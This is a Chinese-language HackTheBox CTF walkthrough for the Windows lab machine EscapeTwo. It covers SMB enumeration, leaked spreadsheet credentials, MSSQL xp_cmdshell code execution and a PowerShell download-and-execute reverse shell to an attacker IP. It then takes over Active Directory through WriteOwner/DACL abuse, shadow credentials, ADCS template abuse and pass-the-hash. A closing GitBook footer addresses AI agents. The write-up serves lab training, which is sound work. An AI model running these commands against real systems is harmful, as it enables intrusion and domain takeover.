> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md).

# EscapeTwo HackTheBox 复盘

EscapeTwo HackTheBox 简单 Windows 机器复盘，涵盖 SMB 枚举、信息密码泄露（zip、Excel 文件）、MSSQL（Microsoft SQL）利用 RCE、BloodHund 枚举，并包含实

{% embed url="<https://app.hackthebox.com/machines/642>" %}

{% hint style="warning" %}
**技能：**

* SMB 枚举
* 信息密码泄露（zip、Excel 文件）
* MSSQL（Microsoft SQL）利用 RCE
* BloodHund 枚举
* CA/\_SVC 用户的 WriteOwner（权限提升）
  {% endhint %}

在这个 Windows 环境渗透测试中，我们有以下凭据：

* 用户名： `rose`
* 密码： `KxEPkKe6R8su`

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c3df3cfa6ded7300ed9dc8f64017c794080c9bb5%2F%7B1C6BA14D-DD50-4D49-9B51-24A06653C7EA%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c3df3cfa6ded7300ed9dc8f64017c794080c9bb5%2F%7B1C6BA14D-DD50-4D49-9B51-24A06653C7EA%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.51 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50aa3ab38fc51663962ff1a09079d5a09d44cbd4%2F%7B1A179949-EA1B-449E-9AFF-760622D5C811%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并将其复制到 `(53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804)` 剪贴板

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-64b67d9eb3d9cf23edac74a7272b87eaecd96478%2Fimage%20(2719).png?alt=media" alt=""><figcaption></figcaption></figure>

使用 Nmap 进行端口版本扫描：

使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

```bash
nmap -sCV -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804 10.10.11.51 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-16af7c97825bbd2798262c15d33475fc5ab0e576%2Fimage%20(2720).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71b1a927dc2c3a72ca176d7a7c5ec2698b8fc17b%2Fimage%20(2721).png?alt=media" alt=""><figcaption></figcaption></figure>

要通过 DNS 将域名解析为 IP 地址，会将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-09408e31888b7321fdb62a034fb5e4ec2ecd0340%2Fimage%20(2722).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### 445端口 - SMB

**使用 CrackMapExec 验证用户**

我们确认 `rose` 用户存在于域控制器（DC）上：

```bash
crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su'
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b319c77d20d382411e791fb952cf98ffbd785c6%2Fimage%20(2723).png?alt=media" alt=""><figcaption></figcaption></figure>

**SMB 共享枚举**

我们使用以下命令列出可访问的共享： `--shares` 命令：

```bash
crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --shares
```

**结果**：可以看到两个有趣的文件夹：

* `Users`
* `会计部门`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22af698e26ca95c230b1963cb4a671f03ddab1ee%2Fimage%20(2724).png?alt=media" alt=""><figcaption></figcaption></figure>

/*/* 使用 smbclient/ 连接到 SMB 共&#x4EAB;*/*

我们访问 **会计部门**:

```bash
smbclient '//10.10.11.51/Accounting Department' -U rose
```

在这个目录中，我们恢复了两个 Excel 文件：

```powershell
get accounting_2024.xlsx
get accounts.xlsx
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-364a39454c385f010b4338001db12b8cb593fd7a%2Fimage%20(2726).png?alt=media" alt=""><figcaption></figcaption></figure>

**文件格式识别**

使用 `文件` 通过命令，我们确定这些文件实际上是 ZIP 归档。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d7f0c666776e8d4ff1110bb7f74ea3842f38d3e3%2Fimage%20(2727).png?alt=media" alt=""><figcaption></figcaption></figure>

**ZIP 文件提取**

我们解压恢复的文件：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-418311086c24fd7f69868ea6c862d34b722738ad%2Fimage%20(2728).png?alt=media" alt=""><figcaption></figcaption></figure>

**搜索敏感信息**

我们过滤提取出的文件，以查找包含关键词 **密码**:

```bash
find . -type f -name "*.txt" -exec grep -iH "password" {} +
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3bac4e23d33628f30e5d756490d8b44baf3532e3%2Fimage%20(2729).png?alt=media" alt=""><figcaption></figcaption></figure>

**结果**：一个名为 `shareStrings.xml` 的文件包含了用户和密码列表。

<img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e53f539bc55a41b6d15a26934f5847d437efce7%2Ffile.excalidraw%20(2).svg?alt=media" alt="" class="gitbook-drawing">

<table><thead><tr><th width="141">名字</th><th width="135">姓氏</th><th width="174">电子邮件</th><th width="107">用户名</th><th>密码</th></tr></thead><tbody><tr><td>Angela</td><td>Martin</td><td>angela@sequel.htb</td><td>angela</td><td>0fwz7Q4mSpurIt99</td></tr><tr><td>Oscar</td><td>Martinez</td><td>oscar@sequel.htb</td><td>oscar</td><td>86LxLBMgEWaKUnBG</td></tr><tr><td>Kevin</td><td>Malone</td><td>kevin@sequel.htb</td><td>kevin</td><td>Md9Wlq1E5bZnVDVo</td></tr><tr><td></td><td></td><td>sa@sequel.htb</td><td>sa</td><td>MSSQLP@ssw0rd!</td></tr></tbody></table>

**使用 CrackMapExec 测试账号**

我们使用恢复的凭据来验证账户：

```bash
crackmapexec smb 10.10.11.51 -u 'angela' -p '0fwz7Q4mSpurIt99'
crackmapexec smb 10.10.11.51 -u 'oscar' -p '86LxLBMgEWaKUnBG'
crackmapexec smb 10.10.11.51 -u 'kevin' -p 'Md9Wlq1E5bZnVDVo'
crackmapexec smb 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!'
```

**结果**：只有 `oscar` 用户有效。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f43fdd5fe002c0f2ed8d8d59ebaa8c5a7d343461%2Fimage%20(2730).png?alt=media" alt=""><figcaption></figcaption></figure>

## MSSQL（Microsoft SQL）利用

**端口 1433（MSSQL）**

1433 端口开放，这表明有一个 Microsoft SQL 服务器在监听。我们将使用之前恢复的不同用户测试连接。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cba86d8714d6def3d684c427814913efc072de8c%2F%7B5DAC77A9-4CF2-4701-A954-52F22B15CFB8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**MSSQL 连接测试**

我们使用 `mssqlclient.py` 尝试连接：

```bash
mssqlclient.py sequel.htb/angela@10.10.11.51
mssqlclient.py sequel.htb/oscar@10.10.11.51
mssqlclient.py sequel.htb/kevin@10.10.11.51
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c481178b1e4ee92beda48fe460c5839b8cd12f38%2Fimage%20(2731).png?alt=media" alt=""><figcaption></figcaption></figure>

**结果**：只有用户 `sa` 可用。

```bash
mssqlclient.py sequel.htb/sa@10.10.11.51
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-127cffbab2f7e4df09550de2205e1adc1b9d13b7%2Fimage%20(2732).png?alt=media" alt=""><figcaption></figcaption></figure>

### 通过 MSSQL 获取反向 Shell

**启用命令执行**

为了执行系统命令，我们启用 `xp_cmdshell`:

```sql
enable_xp_cmdshell
```

然后我们用一个简单命令进行测试，例如 `ipconfig`:

```sql
xp_cmdshell ipconfig
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2d5fa6ec378e5541d44c4f4424229e671e9a37bb%2Fimage%20(2733).png?alt=media" alt=""><figcaption></figcaption></figure>

**在我们机器上准备监听**

我们在 4444 端口启动一个监听器：

```bash
rlwrap nc -nvlp 4444
```

**下载一个 PowerShell 脚本**

我们正在准备一个名为 `PS.ps1` 的 PowerShell 脚本，其中包含一个反向 shell 命令。在脚本末尾，我们添加以下一行：

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

在脚本末尾，我们添加以下一行：

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444
```

我们将这个脚本托管在本地 Web 服务器上：

```bash
python3 -m http.server 80
```

**反向 shell 执行**

从 MSSQL 服务器上，我们执行以下命令来下载并运行 PowerShell 脚本：

```sql
xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')"
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dd06e3bfd2b980f961548ba2f6492e7282750fa4%2Fimage%20(2734).png?alt=media" alt=""><figcaption></figcaption></figure>

## 转向用户 Ryan

**发现新的凭据**

通过探索系统，我们发现一个名为 **SQL2019** 的目录位于根目录中。在其中，我们找到了以下凭据：

* 用户名： `ryan`
* 密码： `WqSZAF6CysDQbGb3`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d278085f0af04d9e75adf855fd226796aef849c4%2Fimage%20(2735).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 CrackMapExec 验证凭据**

我们检查这些凭据是否有效：

```bash
crackmapexec smb 10.10.11.51 -u 'sql_svc' -p 'WqSZAF6CysDQbGb3'
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ff78b3eeef589a6e9f145b8bbba774c597ab24e%2F%7BAD153988-E170-46EE-AF57-EF695FA69257%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

通过探索共享目录，我们识别出一个名为 `ryan`的用户。我们使用与 `sql_svc`:

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-533df2d6bbc3d5bc2fdde5b4f01e1ebf87e709b6%2Fimage%20(2736).png?alt=media" alt=""><figcaption></figcaption></figure>

**结果**相同的凭据进行测试：凭据对用户也有效 `ryan`.

```bash
crackmapexec smb 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3'
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c3591e5e32e86acf25765a708c05286f03911044%2F%7BFD4F3BF9-C2FB-4408-9EFA-37C6CF9291E6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Evil-winrm

```bash
evil-winrm -i 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3'
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2114060c5701f540370bc5d33e26e70ee69c8a97%2Fimage%20(2791).png?alt=media" alt=""><figcaption></figcaption></figure>

### user.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-957b8eef8ab850e66e4a58c413ca63f90dacbfa3%2Fimage%20(796).png?alt=media" alt=""><figcaption></figcaption></figure>

## 权限提升

### BloodHund-python 枚举

使用的命令：

```bash
bloodhound-python -u "ryan" -p "WqSZAF6CysDQbGb3" -d sequel.htb -ns 10.10.11.51 -c All
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-47bbc1ea21f76bc72c15e712552e01bf49c2b0da%2Fimage%20(2787).png?alt=media" alt=""><figcaption></figcaption></figure>

## WriteOwner：

**观察：**/ 这个 **Ryan** 用户拥有 `WriteOwner` 对 **CA/ SVC** 账户的授权，而该账户也是证书颁发者。这意味着我们可以修改账户所有者 **CA/ SVC** 以关联 **Ryan**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-85d69b8475f5cfe440b86d6c7c0bd56b93e61a94%2Fimage%20(2788).png?alt=media" alt=""><figcaption></figcaption></figure>

### 使用 BloodyAD 控制 CA/\_SVC

#### 更改账户所有者

{% code overflow="wrap" %}

```bash
bloodyAD --host '10.10.11.51' -d 'sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan'
```

{% endcode %}

该命令使用 BloodyAD 修改 **CA/ SVC** 的所有者并将其定义为 **Ryan**。作为所有者， **Ryan** 现在可以更改与该账户关联的权限。

### 使用 Dacledit 修改权限

#### 赋予 Ryan 完全权限

{% code overflow="wrap" %}

```bash
dacledit.py -action write -rights FullControl -principal ryan -target ca_svc sequel.htb/ryan:WqSZAF6CysDQbGb3
```

{% endcode %}

该命令修改 **DACL** （自由访问控制列表） **CA/ SVC** 账户，以便将完全控制权限授予 **Ryan**。这使 Ryan 可以重置密码或操作身份验证密钥。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9056178a55084f7370b23c8f707ecceab3e00a0a%2Fimage%20(2795).png?alt=media" alt=""><figcaption></figcaption></figure>

### Shadow Credentials 提取

#### 生成并获取 NT 哈希打印

{% code overflow="wrap" %}

```bash
certipy shadow auto -u 'ryan@sequel.htb' -p "WqSZAF6CysDQbGb3" -account 'ca_svc' -dc-ip '10.10.11.51' -target dc01.sequel.htb -ns 10.10.11.51
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8d8e7307a0c249954a33f2fc48f09716f0afce20%2Fimage%20(2793).png?alt=media" alt=""><figcaption></figcaption></figure>

CA/\_SVC 的 NT 哈希 **CA/\_SVC**: `3b181b914e7a9d5508ea1e20bc2b7fce`

该 **Certipy** 命令为 **CA/ SVC**生成一个身份验证密钥，从而启用基于证书的身份验证。还会生成一个 `.ccache` 文件，这有助于基于 Kerberos 的攻击。

### 修改模型证书

#### 调整 DunderMifflinAuthentication 模型

{% code overflow="wrap" %}

```bash
KRB5CCNAME=$PWD/ca_svc.ccache certipy template  -k -template DunderMifflinAuthentication  -target dc01.sequel.htb -dc-ip 10.10.11.51
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c9ce4e6a179f3e78138bc8e03cf52ed304676fc2%2Fimage%20(2794).png?alt=media" alt=""><figcaption></figcaption></figure>

该命令修改 **DunderMifflinAuthentication** 证书模板，以允许签发高权限证书。

### 为管理员签发证书

#### 请求一个用于冒充的证书

{% code overflow="wrap" %}

```bash
certipy req -u ca_svc -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -target dc01.sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn Administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-57d8a91f9c0f54e133e044ca23a6f9cb8ab8cf6b%2Fimage%20(2796).png?alt=media" alt=""><figcaption></figcaption></figure>

该命令要求为 Administrator 申请证书（`Administrator@sequel.htb`），从而允许冒充该账户身份。

### 以 Administrator 身份认证

#### 使用证书进行认证

```bash
certipy auth -pfx administrator_10.pfx -dc-ip 10.10.11.51
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b756fe82204a0baf85ede38c3ca3bdbfc9b83e7%2Fimage%20(2797).png?alt=media" alt=""><figcaption></figcaption></figure>

**NTLMv2 哈希：** `7a8d4e04986afa8ed4060f75e5a0b3ff`

```bash
 evil-winrm -i 10.10.11.51 -u administrator -H "7a8d4e04986afa8ed4060f75e5a0b3ff"
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2d9a34a58848303f1eb7b6e80da97694b69e3c2b%2Fimage%20(2798).png?alt=media" alt=""><figcaption></figcaption></figure>

该命令使用先前获得的证书以 Administrator 身份进行认证，并恢复 NTLM 哈希。

### root.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-283125033f7303b54470a1ba7ccada4576d40784%2Fimage%20(2799).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a3430f4eae1a011b4538d27667ac350e29237eb1%2Fimage%20(2800).png?alt=media" alt="" width="500"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
